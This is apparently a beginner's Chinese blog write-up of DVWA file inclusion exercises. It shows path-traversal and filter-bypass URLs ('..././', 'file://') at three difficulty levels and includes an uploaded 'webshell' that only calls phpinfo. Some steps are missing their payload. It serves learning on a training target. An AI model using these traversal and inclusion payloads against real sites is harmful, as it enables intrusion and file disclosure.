今天带来第四期文件包含漏洞操作记录。初次接触DVWA,写下自己的操作记录,希望可以帮助每个刚接触DVWA的新手,同时希望可以提升自己的技术。注:如有操作不当的地方希望可以得到大神指导、交流。也感谢之前查阅的各种大神提供的博客。
php文件包含分为两种:
本地文件包含LFI(Local File Inclusion) 当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(Remote File Inclusion) 当被包含的文件在第三方服务器时,叫做远程文件包含
Low级别
本地文件包含方法:
分别点击三个php文件,后缀为page=文件名
将后缀修改为,得到了绝对路径
phpinfo.php
远程文件包含方法:
编写一句话木马文档,命名为webshell.txt
<?php phpinfo();?>
利用文件上传的原理
将后缀命改为
http://127.0.0.1/vulnerabilities/fi/?page=../../hackable/uploads/webshell.txt
Medium级别
分析源码,将../ ..\过滤,我们可以使用.../代替
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
将后缀修改为
http://127.0.0.1/vulnerabilities/fi/?page=..././..././hackable/uploads/webshell.txt
Hight级别
分析源码,要求page参数为file形式
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
在G盘下新建一个文件,命名为webshell.php 内容为:
<?php phpinfo();?>
将后缀名修改为
http://127.0.0.1/vulnerabilities/fi/?page=file://G:/webshell.php